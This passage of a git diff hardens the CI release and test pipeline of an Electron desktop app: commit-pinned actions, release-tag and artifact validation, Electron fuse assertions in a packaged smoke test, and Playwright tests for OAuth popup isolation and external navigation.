diff --git a/.github/workflows/desktop-e2e.yml b/.github/workflows/desktop-e2e.yml
index 7b87a84bc8d..aadc3bf6f3e 100644
--- a/.github/workflows/desktop-e2e.yml
+++ b/.github/workflows/desktop-e2e.yml
@@ -1,13 +1,27 @@
 name: Desktop E2E
 
-# Smoke coverage of the real Electron shell, plus an advisory canary leg
-# against electron@latest so Chromium-cadence breakage surfaces before an
-# upgrade is attempted (U18/U22).
-#
-# Manual-only for now: the desktop app is tested locally, so the
-# pull_request trigger is disabled until desktop CI is turned back on.
+# Smoke coverage of the real Electron shell on desktop changes, plus a weekly
+# advisory canary against electron@latest so Chromium-cadence breakage surfaces
+# before an upgrade is attempted.
 
 on:
+  pull_request:
+    paths:
+      - '.github/workflows/desktop-e2e.yml'
+      - '.github/workflows/desktop-release.yml'
+      - 'apps/desktop/**'
+      - 'apps/sim/public/brand/fonts/**'
+      - 'packages/desktop-bridge/**'
+      - 'packages/browser-protocol/**'
+      - 'packages/terminal-protocol/**'
+      - 'packages/logger/**'
+      - 'packages/security/**'
+      - 'packages/tsconfig/**'
+      - 'packages/utils/**'
+      - 'bun.lock'
+      - 'package.json'
+  schedule:
+    - cron: '23 9 * * 1'
   workflow_dispatch:
 
 permissions:
@@ -18,14 +32,10 @@ concurrency:
   cancel-in-progress: true
 
 jobs:
-  e2e:
-    name: E2E (${{ matrix.electron }})
+  e2e-pinned:
+    name: E2E (pinned)
+    if: github.event_name != 'schedule'
     runs-on: macos-26
-    strategy:
-      fail-fast: false
-      matrix:
-        electron: [pinned, latest]
-    continue-on-error: ${{ matrix.electron == 'latest' }}
     steps:
       - name: Checkout code
         uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
@@ -38,10 +48,42 @@ jobs:
       - name: Install dependencies
         run: bun install --frozen-lockfile
 
-      - name: Switch to electron@latest (canary)
-        if: matrix.electron == 'latest'
+      - name: Bundle main and preload
+        working-directory: apps/desktop
+        run: bun run build
+
+      - name: Run Playwright _electron smoke suite
+        working-directory: apps/desktop
+        run: bunx playwright test
+
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
+        with:
+          name: desktop-e2e-results-pinned
+          path: apps/desktop/test-results
+          retention-days: 7
+
+  e2e-latest-canary:
+    name: E2E (electron@latest canary)
+    if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
+    runs-on: macos-26
+    continue-on-error: true
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+
+      - name: Setup Bun
+        uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2
+        with:
+          bun-version: 1.3.14
+
+      - name: Install dependencies
+        run: bun install --frozen-lockfile
+
+      - name: Switch to electron@latest
         working-directory: apps/desktop
-        run: bun add -d electron@latest
+        run: bun add --no-save -d electron@latest
 
       - name: Bundle main and preload
         working-directory: apps/desktop
@@ -53,14 +95,15 @@ jobs:
 
       - name: Upload test results
         if: failure()
-        uses: actions/upload-artifact@v4
+        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
         with:
-          name: desktop-e2e-results-${{ matrix.electron }}
+          name: desktop-e2e-results-latest
           path: apps/desktop/test-results
           retention-days: 7
 
   package-smoke:
     name: Unsigned package smoke
+    if: github.event_name != 'schedule'
     runs-on: macos-26
     steps:
       - name: Checkout code
@@ -72,7 +115,7 @@ jobs:
           bun-version: 1.3.14
 
       - name: Setup Node
-        uses: actions/setup-node@v4
+        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
         with:
           node-version: 22
 
@@ -85,4 +128,20 @@ jobs:
           CSC_IDENTITY_AUTO_DISCOVERY: 'false'
         run: |
           bun run build
-          bunx electron-builder --mac dir --publish never
+          bunx electron-builder --mac dir --universal --publish never \
+            -c.mac.identity=- -c.mac.hardenedRuntime=false
+
+      - name: Run packaged Electron smoke suite
+        working-directory: apps/desktop
+        run: |
+          APP_BUNDLE="$(find release -maxdepth 2 -name '*.app' -print -quit)"
+          if [ -z "$APP_BUNDLE" ]; then
+            echo "::error::Packaged app bundle was not found."
+            exit 1
+          fi
+          EXECUTABLE="$(find "$APP_BUNDLE/Contents/MacOS" -maxdepth 1 -type f -perm -111 -print -quit)"
+          if [ -z "$EXECUTABLE" ]; then
+            echo "::error::Packaged app executable was not found."
+            exit 1
+          fi
+          SIM_DESKTOP_EXECUTABLE="$EXECUTABLE" bunx playwright test e2e/packaged-smoke.spec.ts
diff --git a/.github/workflows/desktop-release.yml b/.github/workflows/desktop-release.yml
index ed014c85039..db1e403eb5d 100644
--- a/.github/workflows/desktop-release.yml
+++ b/.github/workflows/desktop-release.yml
@@ -53,6 +53,9 @@ jobs:
     steps:
       - name: Checkout code
         uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
+        with:
+          fetch-depth: 0
+          ref: ${{ github.event_name == 'workflow_dispatch' && inputs.version || github.sha }}
 
       # Prerelease versions carry their environment in the tag: -dev.N is a
       # dev build, -staging.N a staging build. Legacy -alpha/-beta tags remain
@@ -82,6 +85,34 @@ jobs:
           } >> "$GITHUB_OUTPUT"
           echo "Building $NAME ($APP_ID) for $RELEASE_REPOSITORY; default origin: ${ORIGIN:-production}"
 
+      - name: Validate release source
+        env:
+          PUBLISH: ${{ inputs.publish }}
+          SIGN: ${{ inputs.sign }}
+          TOKEN_KIND: ${{ steps.channel.outputs.token_kind }}
+          VERSION: ${{ inputs.version }}
+        run: |
+          if ! [[ "$VERSION" =~ ^v[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.-]+)?$ ]]; then
+            echo "::error::Refusing to build: '$VERSION' is not a vX.Y.Z release tag."
+            exit 1
+          fi
+          if [ "$GITHUB_EVENT_NAME" = workflow_dispatch ] && [ "$TOKEN_KIND" != stable ]; then
+            echo "::error::Manual desktop releases must use a stable source-repository tag."
+            exit 1
+          fi
+          if [ "$TOKEN_KIND" = stable ] && [ "$PUBLISH" = true ] && [ "$SIGN" != true ]; then
+            echo "::error::Stable desktop releases must be signed before publication."
+            exit 1
+          fi
+          if [ "$TOKEN_KIND" = stable ]; then
+            TAG_COMMIT="$(git rev-parse "refs/tags/${VERSION}^{commit}")"
+            HEAD_COMMIT="$(git rev-parse HEAD)"
+            if [ "$TAG_COMMIT" != "$HEAD_COMMIT" ]; then
+              echo "::error::Requested tag $VERSION points to $TAG_COMMIT, but the checkout is $HEAD_COMMIT."
+              exit 1
+            fi
+          fi
+
       - name: Validate release authentication
         if: ${{ inputs.publish }}
         env:
@@ -100,12 +131,12 @@ jobs:
           bun-version: 1.3.14
 
       - name: Setup Node
-        uses: actions/setup-node@v4
+        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
         with:
           node-version: 22
 
       - name: Cache Electron binaries
-        uses: actions/cache@v4
+        uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4
         with:
           path: |
             ~/Library/Caches/electron
@@ -120,23 +151,33 @@ jobs:
           VERSION: ${{ inputs.version }}
         run: |
           SEMVER="${VERSION#v}"
-          if ! [[ "$SEMVER" =~ ^[0-9]+\.[0-9]+\.[0-9]+([-.].+)?$ ]]; then
-            echo "Refusing to build: '$VERSION' is not a vX.Y.Z release tag" >&2
-            exit 1
-          fi
-          npm pkg set version="$SEMVER" --prefix apps/desktop
+          cd apps/desktop
+          bun pm pkg set version="$SEMVER"
+          cd ../..
           INJECTED="$(node -p "require('./apps/desktop/package.json').version")"
           if [ "$INJECTED" != "$SEMVER" ]; then
             echo "Version injection mismatch: wanted $SEMVER got $INJECTED" >&2
             exit 1
           fi
 
+      - name: Verify desktop source
+        run: |
+          bun run --cwd apps/desktop lint:check
+          bun run --cwd apps/desktop type-check
+          bun run --cwd apps/desktop test
+
       - name: Bundle main and preload
         working-directory: apps/desktop
         env:
           SIM_DESKTOP_DEFAULT_ORIGIN: ${{ steps.channel.outputs.origin }}
         run: bun run build
 
+      - name: Run Electron smoke tests
+        working-directory: apps/desktop
+        env:
+          SIM_DESKTOP_DEFAULT_ORIGIN: ${{ steps.channel.outputs.origin }}
+        run: bun run test:e2e
+
       - name: Write App Store Connect API key
         if: ${{ inputs.sign }}
         env:
@@ -165,8 +206,9 @@ jobs:
           -c.productName="$PRODUCT_NAME" -c.appId="$APP_ID"
 
       # Unsigned prerelease path: no Developer ID, no notarization. The
-      # binaries end up ad-hoc/linker-signed, which runs locally but gets
-      # quarantined when downloaded — fine for testing the update pipeline.
+      # binaries are explicitly ad-hoc signed with Hardened Runtime off, which
+      # runs locally but gets quarantined when downloaded — fine for testing
+      # the update pipeline without Developer ID credentials.
       - name: Package unsigned
         if: ${{ !inputs.sign }}
         working-directory: apps/desktop
@@ -176,17 +218,106 @@ jobs:
           APP_ID: ${{ steps.channel.outputs.app_id }}
         run: >
           bunx electron-builder --mac --publish never -c.mac.notarize=false
+          -c.mac.identity=- -c.mac.hardenedRuntime=false
           -c.productName="$PRODUCT_NAME" -c.appId="$APP_ID"
 
+      - name: Validate packaged artifacts
+        env:
+          VERSION: ${{ inputs.version }}
+        run: |
+          SEMVER="${VERSION#v}"
+          RELEASE_DIR=apps/desktop/release
+          YML="$(find "$RELEASE_DIR" -maxdepth 1 -name '*-mac.yml' -print)"
+          if [ "$(printf '%s\n' "$YML" | sed '/^$/d' | wc -l | tr -d ' ')" != 1 ]; then
+            echo "::error::Expected exactly one updater manifest in $RELEASE_DIR."
+            exit 1
+          fi
+          if [ "$(basename "$YML")" != latest-mac.yml ]; then
+            mv "$YML" "$RELEASE_DIR/latest-mac.yml"
+          fi
+          ARTIFACTS=(
+            "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg"
+            "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg.blockmap"
+            "$RELEASE_DIR/Sim-${SEMVER}-universal.zip"
+            "$RELEASE_DIR/Sim-${SEMVER}-universal.zip.blockmap"
+            "$RELEASE_DIR/latest-mac.yml"
+          )
+          for ARTIFACT in "${ARTIFACTS[@]}"; do
+            if [ ! -f "$ARTIFACT" ]; then
+              echo "::error::Expected desktop artifact is missing: $ARTIFACT"
+              exit 1
+            fi
+          done
+          if [ "$(find "$RELEASE_DIR" -maxdepth 1 \( -name '*.dmg' -o -name '*.zip' -o -name '*.blockmap' \) | wc -l | tr -d ' ')" != 4 ]; then
+            echo "::error::Unexpected package artifacts were produced; refusing a wildcard upload."
+            find "$RELEASE_DIR" -maxdepth 1 -type f -print
+            exit 1
+          fi
+          if ! grep -Fxq "version: $SEMVER" "$RELEASE_DIR/latest-mac.yml"; then
+            echo "::error::Updater manifest version does not match $VERSION."
+            exit 1
+          fi
+          URLS="$(sed -nE 's/^[[:space:]]*(-[[:space:]]*)?url:[[:space:]]*([^[:space:]]+)[[:space:]]*$/\2/p' "$RELEASE_DIR/latest-mac.yml" | sort)"
+          EXPECTED_URLS="$(printf '%s\n' "Sim-${SEMVER}-universal.zip" "Sim-${SEMVER}-universal.dmg" | sort)"
+          if [ "$URLS" != "$EXPECTED_URLS" ]; then
+            echo "::error::Updater manifest contains unexpected artifact URLs."
+            exit 1
+          fi
+          if ! grep -Fxq "path: Sim-${SEMVER}-universal.zip" "$RELEASE_DIR/latest-mac.yml"; then
+            echo "::error::Updater manifest path does not reference the verified zip artifact."
+            exit 1
+          fi
+          hdiutil verify "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg"
+          unzip -tq "$RELEASE_DIR/Sim-${SEMVER}-universal.zip"
+
       - name: Validate signature and notarization
         if: ${{ inputs.sign }}
+        env:
+          VERSION: ${{ inputs.version }}
         run: |
-          DMG="$(ls apps/desktop/release/*.dmg | head -1)"
-          hdiutil attach "$DMG" -mountpoint /tmp/sim-dmg -nobrowse -quiet
-          xcrun stapler validate /tmp/sim-dmg/*.app
-          spctl --assess --type execute --verbose /tmp/sim-dmg/*.app
-          codesign --verify --deep --strict /tmp/sim-dmg/*.app
-          hdiutil detach /tmp/sim-dmg -quiet
+          SEMVER="${VERSION#v}"
+          DMG="apps/desktop/release/Sim-${SEMVER}-universal.dmg"
+          ZIP="apps/desktop/release/Sim-${SEMVER}-universal.zip"
+          MOUNT_POINT="$RUNNER_TEMP/sim-dmg"
+          ZIP_DIR="$(mktemp -d "$RUNNER_TEMP/sim-zip.XXXXXX")"
+          mkdir -p "$MOUNT_POINT"
+          hdiutil attach "$DMG" -mountpoint "$MOUNT_POINT" -nobrowse -quiet
+          trap 'hdiutil detach "$MOUNT_POINT" -quiet || true; rm -rf "$ZIP_DIR"' EXIT
+          APP_BUNDLE="$(find "$MOUNT_POINT" -maxdepth 1 -name '*.app' -print -quit)"
+          if [ -z "$APP_BUNDLE" ]; then
+            echo "::error::The signed DMG does not contain an app bundle."
+            exit 1
+          fi
+          xcrun stapler validate "$APP_BUNDLE"
+          spctl --assess --type execute --verbose "$APP_BUNDLE"
+          codesign --verify --deep --strict "$APP_BUNDLE"
+          unzip -q "$ZIP" -d "$ZIP_DIR"
+          ZIP_APP="$(find "$ZIP_DIR" -maxdepth 2 -name '*.app' -print -quit)"
+          if [ -z "$ZIP_APP" ]; then
+            echo "::error::The updater ZIP does not contain an app bundle."
+            exit 1
+          fi
+          xcrun stapler validate "$ZIP_APP"
+          spctl --assess --type execute --verbose "$ZIP_APP"
+          codesign --verify --deep --strict "$ZIP_APP"
+          hdiutil detach "$MOUNT_POINT" -quiet
+          rm -rf "$ZIP_DIR"
+          trap - EXIT
+
+      - name: Run packaged Electron smoke suite
+        working-directory: apps/desktop
+        run: |
+          APP_BUNDLE="$(find release -maxdepth 2 -name '*.app' -print -quit)"
+          if [ -z "$APP_BUNDLE" ]; then
+            echo "::error::Packaged app bundle was not found."
+            exit 1
+          fi
+          EXECUTABLE="$(find "$APP_BUNDLE/Contents/MacOS" -maxdepth 1 -type f -perm -111 -print -quit)"
+          if [ -z "$EXECUTABLE" ]; then
+            echo "::error::Packaged app executable was not found."
+            exit 1
+          fi
+          SIM_DESKTOP_EXECUTABLE="$EXECUTABLE" bunx playwright test e2e/packaged-smoke.spec.ts
 
       - name: Upload artifacts to the release
         if: ${{ inputs.publish }}
@@ -209,35 +340,51 @@ jobs:
             exit 1
           fi
           export GH_TOKEN
-          # electron-builder's GitHub provider always names the manifest
-          # latest-mac.yml (channels are a generic-provider concept), and the
-          # update feed expects exactly that asset name on every release —
-          # normalize defensively in case a config change ever produces a
-          # channel-named manifest.
-          YML="$(find apps/desktop/release -maxdepth 1 -name '*-mac.yml' | head -1)"
-          if [ -z "$YML" ]; then
-            echo "::error::No *-mac.yml updater manifest found in apps/desktop/release"
-            exit 1
-          fi
-          if [ "$(basename "$YML")" != "latest-mac.yml" ]; then
-            mv "$YML" apps/desktop/release/latest-mac.yml
-          fi
-          gh release upload "$VERSION" \
-            apps/desktop/release/*.dmg \
-            apps/desktop/release/*.zip \
-            apps/desktop/release/*.blockmap \
-            apps/desktop/release/latest-mac.yml \
-            --repo "$RELEASE_REPOSITORY" \
-            --clobber
+          if ! gh release view "$VERSION" --repo "$RELEASE_REPOSITORY" >/dev/null; then
+            echo "::error::Release $VERSION does not exist in $RELEASE_REPOSITORY."
+            exit 1
+          fi
+          SEMVER="${VERSION#v}"
+          ARTIFACTS=(
+            "apps/desktop/release/Sim-${SEMVER}-universal.dmg"
+            "apps/desktop/release/Sim-${SEMVER}-universal.dmg.blockmap"
+            "apps/desktop/release/Sim-${SEMVER}-universal.zip"
+            "apps/desktop/release/Sim-${SEMVER}-universal.zip.blockmap"
+            "apps/desktop/release/latest-mac.yml"
+          )
+          upload_or_verify() {
+            local ARTIFACT="$1"
+            local NAME SIZE DIGEST RELEASE_JSON REMOTE REMOTE_SIZE REMOTE_DIGEST
+            NAME="$(basename "$ARTIFACT")"
+            SIZE="$(stat -f%z "$ARTIFACT")"
+            DIGEST="sha256:$(shasum -a 256 "$ARTIFACT" | awk '{print $1}')"
+            RELEASE_JSON="$(gh api "repos/${RELEASE_REPOSITORY}/releases/tags/${VERSION}")"
+            REMOTE="$(jq -c --arg name "$NAME" '.assets[] | select(.name == $name)' <<< "$RELEASE_JSON")"
+            if [ -n "$REMOTE" ]; then
+              REMOTE_SIZE="$(jq -r '.size' <<< "$REMOTE")"
+              REMOTE_DIGEST="$(jq -r '.digest // empty' <<< "$REMOTE")"
+              if [ "$REMOTE_SIZE" != "$SIZE" ] || [ "$REMOTE_DIGEST" != "$DIGEST" ]; then
+                echo "::error::Existing release asset $NAME does not match this build."
+                exit 1
+              fi
+              echo "Verified existing release asset $NAME; skipping upload."
+              return
+            fi
+            gh release upload "$VERSION" "$ARTIFACT" --repo "$RELEASE_REPOSITORY"
+          }
+          for ARTIFACT in "${ARTIFACTS[@]:0:4}"; do
+            upload_or_verify "$ARTIFACT"
+          done
+          upload_or_verify "${ARTIFACTS[4]}"
 
       - name: Upload artifacts to the workflow run
         if: ${{ !inputs.publish }}
-        uses: actions/upload-artifact@v4
+        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
         with:
           name: sim-desktop-${{ inputs.version }}
           path: |
             apps/desktop/release/*.dmg
             apps/desktop/release/*.zip
             apps/desktop/release/*.blockmap
-            apps/desktop/release/*-mac.yml
+            apps/desktop/release/latest-mac.yml
           retention-days: 7
diff --git a/apps/desktop/README.md b/apps/desktop/README.md
index 766873fab65..0d9b1bdfe98 100644
--- a/apps/desktop/README.md
+++ b/apps/desktop/README.md
@@ -104,10 +104,10 @@ Pre-release share (no Developer ID yet): `SIM_DESKTOP_DEFAULT_ORIGIN=https://www
 The build also derives the app icon from `SIM_DESKTOP_DEFAULT_ORIGIN`. Every channel uses the exact production icon with its white background and black `sim` mark. Non-production channels add a thin outline using existing platform colors: dev uses orange, staging uses Loop blue, and localhost uses Workflow violet. The macOS menu-bar icon also carries a compact `D`, `S`, or `L` subscript for those environments; production remains unmarked. Native Icon Composer assets live in `build/`; `scripts/build.ts` copies the selected variant to the ignored `build/generated-icon.icon` path consumed by electron-builder. Electron-builder compiles it to `Assets.car` and derives the legacy `.icns` fallback from the same source. Matching 512px PNGs in `static/` provide the Dock icon for unpackaged runs.
 
 CI (`.github/workflows/desktop-release.yml`, wired into `ci.yml`):
-- Stable builds run only after `create-release` on a `vX.Y.Z:` commit to main — **never before**: `scripts/create-single-release.ts` skips creation if the tag exists, so a desktop job publishing first would eat the changelog. Stable assets remain on `simstudioai/sim`; dev/staging assets publish to the public `simstudioai/sim-desktop-releases` repository so source-repository followers are not notified for internal shell builds. The job builds `--publish never` and uploads assets with `gh release upload --clobber` (idempotent re-runs).
+- Stable builds run only after `create-release` on a `vX.Y.Z:` commit to main — **never before**: `scripts/create-single-release.ts` skips creation if the tag exists, so a desktop job publishing first would eat the changelog. Stable assets remain on `simstudioai/sim`; dev/staging assets publish to the public `simstudioai/sim-desktop-releases` repository so source-repository followers are not notified for internal shell builds. The job builds `--publish never`; reruns verify the size and SHA-256 digest of existing release assets instead of overwriting them.
 - **Secrets gate**: `check-desktop-signing` in `ci.yml` probes the six Apple secrets and skips the desktop job with a warning until they exist — releases never fail on a missing Apple account, and the first release after the secrets land ships desktop artifacts automatically. Manual/one-off builds: Actions → "Desktop Release (macOS)" → Run workflow with a `vX.Y.Z` version (`publish: false` uploads artifacts to the run instead of the release).
 - The product semver is **injected** from the release tag into `apps/desktop/package.json` at build time (repo package versions are placeholders). A mismatch guard fails the build.
-- Fuses are flipped at package time (`electronFuses` in `electron-builder.yml`): runAsNode off, NODE_OPTIONS off, inspect args off, ASAR-only + integrity validation, cookie encryption on, `strictlyRequireAllFuses` so new fuses fail loudly on Electron bumps.
+- Fuses are flipped at package time (`electronFuses` in `electron-builder.yml`): runAsNode off, NODE_OPTIONS off, inspect args off, ASAR-only + integrity validation, and cookie encryption on. The packaged smoke test asserts every fuse byte so Electron upgrades fail until new fuses receive an explicit policy.
 - **Cookie-encryption go/no-go**: on every Electron bump, verify a packaged build keeps its session across relaunch (there are historical cookie-persistence bugs with the `EnableCookieEncryption` fuse). If it reproduces, set `enableCookieEncryption: false` and record it here.
 
 Required repo secrets (owner: whoever holds the Apple Developer account; calendar the expiries — an expired cert/API key breaks every release):
diff --git a/apps/desktop/docs/electron-upgrade-checklist.md b/apps/desktop/docs/electron-upgrade-checklist.md
index 8974779d6b1..04aa583558a 100644
--- a/apps/desktop/docs/electron-upgrade-checklist.md
+++ b/apps/desktop/docs/electron-upgrade-checklist.md
@@ -4,7 +4,7 @@ The rendering-parity guarantee (identical to Chrome of the pinned version) is on
 
 1. **Read the release notes.** Electron breaking-changes page for the target major, plus its Chromium/Node versions. Note anything touching: session/cookies, permissions, `setWindowOpenHandler`, `will-navigate`/`will-redirect`, preload/sandbox, `net`/loopback, fuses.
 2. **Bump the pin** in `apps/desktop/package.json` (exact version), `bun install`, `bun run type-check && bun run test`.
-3. **Fuses:** the build sets `strictlyRequireAllFuses` — if `electron-builder` fails on a new fuse, decide its state explicitly in `electron-builder.yml` rather than loosening the strict flag.
+3. **Fuses:** the packaged smoke test asserts the complete fuse wire. Decide the policy for every new fuse, configure it in `electron-builder.yml` when supported, and update the expected wire only after verifying the packaged binary.
 4. **Cookie-encryption go/no-go:** packaged build → sign in → quit → relaunch → still signed in. If the session is lost, flip `enableCookieEncryption: false`, file it in the README, and retest.
 5. **Manual spot-checks (packaged build):**
    - Google sign-in via the system-browser handoff (127.0.0.1 loopback callback → token redeem).
diff --git a/apps/desktop/e2e/packaged-smoke.spec.ts b/apps/desktop/e2e/packaged-smoke.spec.ts
new file mode 100644
index 00000000000..e7613321e87
--- /dev/null
+++ b/apps/desktop/e2e/packaged-smoke.spec.ts
@@ -0,0 +1,84 @@
+import { spawn } from 'node:child_process'
+import { once } from 'node:events'
+import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { FuseV1Options, FuseVersion, getCurrentFuseWire } from '@electron/fuses'
+import { expect, test } from '@playwright/test'
+
+const FUSE_DISABLED = '0'.charCodeAt(0)
+const FUSE_ENABLED = '1'.charCodeAt(0)
+const ELECTRON_43_WASM_TRAP_HANDLERS_FUSE = 8
+
+const EXPECTED_FUSE_POLICY = [
+  [FuseV1Options.RunAsNode, FUSE_DISABLED],
+  [FuseV1Options.EnableCookieEncryption, FUSE_ENABLED],
+  [FuseV1Options.EnableNodeOptionsEnvironmentVariable, FUSE_DISABLED],
+  [FuseV1Options.EnableNodeCliInspectArguments, FUSE_DISABLED],
+  [FuseV1Options.EnableEmbeddedAsarIntegrityValidation, FUSE_ENABLED],
+  [FuseV1Options.OnlyLoadAppFromAsar, FUSE_ENABLED],
+  [FuseV1Options.LoadBrowserProcessSpecificV8Snapshot, FUSE_DISABLED],
+  [FuseV1Options.GrantFileProtocolExtraPrivileges, FUSE_DISABLED],
+  [ELECTRON_43_WASM_TRAP_HANDLERS_FUSE, FUSE_ENABLED],
+] as const
+
+test.skip(
+  !process.env.SIM_DESKTOP_EXECUTABLE,
+  'Packaged smoke runs only after the desktop executable has been built'
+)
+
+test('packaged Electron binary has the production fuse policy', async () => {
+  const executablePath = process.env.SIM_DESKTOP_EXECUTABLE
+  if (!executablePath) throw new Error('SIM_DESKTOP_EXECUTABLE is required')
+
+  const fuses = await getCurrentFuseWire(executablePath)
+  expect(fuses.version).toBe(FuseVersion.V1)
+  const fuseIndexes = Object.keys(fuses)
+    .filter((key) => /^\d+$/.test(key))
+    .map(Number)
+
+  expect(fuseIndexes).toEqual(EXPECTED_FUSE_POLICY.map(([index]) => index))
+  for (const [index, state] of EXPECTED_FUSE_POLICY) {
+    expect(Reflect.get(fuses, index)).toBe(state)
+  }
+})
+
+test('packaged main process starts and records launch telemetry', async () => {
+  const executablePath = process.env.SIM_DESKTOP_EXECUTABLE
+  if (!executablePath) throw new Error('SIM_DESKTOP_EXECUTABLE is required')
+  const userDataPath = mkdtempSync(join(tmpdir(), 'sim-desktop-packaged-e2e-'))
+  const child = spawn(executablePath, [], {
+    env: {
+      ...process.env,
+      SIM_DESKTOP_ORIGIN: 'http://127.0.0.1:1',
+      SIM_DESKTOP_USER_DATA: userDataPath,
+    },
+    stdio: 'ignore',
+  })
+  const eventLogPath = join(userDataPath, 'logs', 'desktop-events.log')
+
+  try {
+    await expect
+      .poll(
+        () => {
+          if (child.exitCode !== null || child.signalCode !== null) {
+            throw new Error(
+              `Packaged app exited with ${child.exitCode ?? child.signalCode ?? 'unknown status'}`
+            )
+          }
+          return (
+            existsSync(eventLogPath) && readFileSync(eventLogPath, 'utf8').includes('app_launch')
+          )
+        },
+        { timeout: 10_000 }
+      )
+      .toBe(true)
+  } finally {
+    if (child.exitCode === null && child.signalCode === null) {
+      const exited = once(child, 'exit')
+      child.kill('SIGKILL')
+      await exited
+    }
+    rmSync(userDataPath, { recursive: true, force: true })
+  }
+})
diff --git a/apps/desktop/e2e/smoke.spec.ts b/apps/desktop/e2e/smoke.spec.ts
index 4bc71a1ee87..b96f923908b 100644
--- a/apps/desktop/e2e/smoke.spec.ts
+++ b/apps/desktop/e2e/smoke.spec.ts
@@ -14,6 +14,8 @@ const PAGES: Record<string, string> = {
     <h1 id="app">fixture-app</h1>
     <button id="internal-blank" onclick="window.open('/workspace/two', '_blank')">internal</button>
     <button id="external-blank" onclick="window.open('https://docs.sim.ai/x', '_blank')">external</button>
+    <button id="mcp-popup" onclick="window.open('/mcp', 'mcp-oauth-fixture')">mcp</button>
+    <button id="external-navigate" onclick="location.href='https://docs.sim.ai/navigation'">navigate</button>
   </body></html>`,
   '/workspace/two': '<!doctype html><html><body><h1 id="two">second-route</h1></body></html>',
   '/login': '<!doctype html><html><body><h1 id="login">fixture-login</h1></body></html>',
@@ -23,7 +25,16 @@ function startFixtureServer(): Promise<{ server: Server; origin: string }> {
   return new Promise((resolvePromise) => {
     const server = createServer((request, response) => {
       const path = new URL(request.url ?? '/', 'http://127.0.0.1').pathname
-      const body = PAGES[path]
+      const sessionCookie = request.headers.cookie
+        ?.split(';')
+        .map((cookie) => cookie.trim())
+        .includes('sim-e2e-session=shared')
+      const body =
+        path === '/mcp'
+          ? sessionCookie
+            ? '<!doctype html><html><body><h1 id="mcp">oauth-popup</h1></body></html>'
+            : '<!doctype html><html><body><h1 id="unauthorized">sign-in-required</h1></body></html>'
+          : PAGES[path]
       if (!body) {
         response.writeHead(404, { 'Content-Type': 'text/html' }).end('<h1>not found</h1>')
         return
@@ -105,6 +116,43 @@ test.describe('desktop shell smoke', () => {
     await expect(window.locator('#app')).toHaveText('fixture-app')
   })
 
+  test('OAuth popups share the session without inheriting the privileged preload', async () => {
+    app = await launchApp(origin)
+    const window = await app.firstWindow()
+    await window.evaluate(() => {
+      document.cookie = 'sim-e2e-session=shared; Path=/; SameSite=Lax'
+    })
+    const popupPromise = app.waitForEvent('window')
+    await window.locator('#mcp-popup').click()
+    const popup = await popupPromise
+
+    await expect(popup.locator('#mcp')).toHaveText('oauth-popup')
+    await expect
+      .poll(() => popup.evaluate(() => typeof (globalThis as { simDesktop?: unknown }).simDesktop))
+      .toBe('undefined')
+  })
+
+  test('cross-origin same-window navigation opens externally and preserves the app document', async () => {
+    app = await launchApp(origin)
+    const window = await app.firstWindow()
+    await app.evaluate(({ shell }) => {
+      const opened: string[] = []
+      ;(globalThis as { __openedExternal?: string[] }).__openedExternal = opened
+      shell.openExternal = async (url: string) => {
+        opened.push(url)
+      }
+    })
+
+    await window.locator('#external-navigate').click({ noWaitAfter: true })
+
+    await expect
+      .poll(() =>
+        app.evaluate(() => (globalThis as { __openedExternal?: string[] }).__openedExternal)
+      )
+      .toEqual(['https://docs.sim.ai/navigation'])
+    expect(window.url()).toBe(`${origin}/workspace`)
+  })
+
   test('unreachable origin shows the bundled offline page', async () => {
     app = await launchApp('http://127.0.0.1:1')
     const window = await app.firstWindow()
@@ -131,5 +179,8 @@ test.describe('desktop shell smoke', () => {
     await expect(window.locator('#retry')).toHaveCSS('font-size', '14px')
     await expect(window.locator('#retry')).toHaveCSS('line-height', '20px')
     await expect(window.locator('#retry')).toHaveCSS('text-align', 'left')
+    await window.locator('#retry').focus()
+    await expect(window.locator('#retry')).toHaveCSS('outline-style', 'solid')
+    await expect(window.locator('#detail')).toHaveAttribute('role', 'status')
   })
 })
diff --git a/apps/desktop/electron-builder.yml b/apps/desktop/electron-builder.yml
index a8b4637f754..34d390dad9c 100644
--- a/apps/desktop/electron-builder.yml
+++ b/apps/desktop/electron-builder.yml
@@ -36,6 +36,8 @@ electronFuses:
   enableNodeCliInspectArguments: false
   enableEmbeddedAsarIntegrityValidation: true
   onlyLoadAppFromAsar: true
+  loadBrowserProcessSpecificV8Snapshot: false
+  grantFileProtocolExtraPrivileges: false
 
 mac:
   category: public.app-category.developer-tools
diff --git a/apps/desktop/package.json b/apps/desktop/package.json
index 5fa7d00c9e1..52161642cb8 100644
--- a/apps/desktop/package.json
+++ b/apps/desktop/package.json
@@ -45,6 +45,7 @@
     "safe-regex2": "5.1.0"
   },
   "devDependencies": {
+    "@electron/fuses": "1.8.0",
     "@playwright/test": "1.61.1",
     "@sim/tsconfig": "workspace:*",
     "@types/micromatch": "4.0.10",
diff --git a/apps/desktop/src/main/account-data-generation.test.ts b/apps/desktop/src/main/account-data-generation.test.ts
new file mode 100644
index 00000000000..8062a0d2fa8
--- /dev/null
+++ b/apps/desktop/src/main/account-data-generation.test.ts
@@ -0,0 +1,230 @@
+import {
+  existsSync,
+  mkdirSync,
+  mkdtempSync,
+  readFileSync,
+  unlinkSync,
+  writeFileSync,
+} from 'node:fs'
+import { rm } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
